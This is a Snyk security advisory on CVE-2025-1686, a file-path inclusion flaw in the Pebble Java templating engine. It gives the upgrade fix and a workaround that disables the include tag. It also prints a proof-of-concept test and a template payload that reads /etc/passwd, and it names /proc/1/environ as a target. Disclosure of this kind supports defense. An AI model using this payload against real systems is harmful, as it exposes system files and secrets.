snyk | SECURITY

External Control of File Name or Path

Affecting io.pebbletemplates:pebble package, versions [0,4.1.0)

INTRODUCED: 24 FEB 2025 CVE-2025-1686 CWE-73

How to fix?

Upgrade `io.pebbletemplates:pebble` to version 4.1.0 or higher.

Overview

io.pebbletemplates:pebble is a java templating engine inspired by Twig.

Affected versions of this package are vulnerable to External Control of File Name or Path via the `include` tag. A high privileged attacker can access sensitive local files by crafting malicious notification templates that leverage this tag to include files like `/etc/passwd` or `/proc/1/environ`.

Workaround

This vulnerability can be mitigated by disabling the `include` macro in Pebble Templates:

```
new PebbleEngine.Builder()
            .registerExtensionCustomizer(new
DisallowExtensionCustomizerBuilder()

.disallowedTokenParserTags(List.of("include"))
                    .build())
            .build();
```

PoC

The following test demonstrates the vulnerability:

Severity RECOMMENDED

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity PROOF OF CONCEPT

EPSS 0.2% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID SNYK-JAVA-IOPEBBLETEMPL

```
PebbleEngine e = new PebbleEngine.Builder().build();

String templateString = """
        {% include '/etc/passwd' %}
        """;
PebbleTemplate template = e.getLiteralTemplate(templateString);

try (final Writer writer = new StringWriter()) {
    template.evaluate(writer, new HashMap<>());
    System.out.println(writer);
}
```

As an attacker, the following malicious template demonstrates the vulnerability:

```
{% include '/etc/passwd' %}
```

References

- GitHub Commit
- GitHub Issue
- GitHub Issue
- Pebble Documentation

CVSS Base Scores

version 4.0 | version 3.1

Snyk RECOMMENDED — 6.1 MEDIUM

Attack Vector (AV)	Network	Confidentiality (VC)	None	Confidentiality (SC)	High
Attack Complexity (AC)	Low	Integrity (VI)	None	Integrity (SI)	None
Attack Requirements (AT)	None	Availability (VA)	None	Availability (SA)	None
Privileges Required (PR)	High				
User Interaction (UI)	None				

ATES-8745594

Published	25 Feb 2025
Disclosed	24 Feb 2025
Credit	Jonathan Leitschuh

Report a new vulnerability

Found a mistake?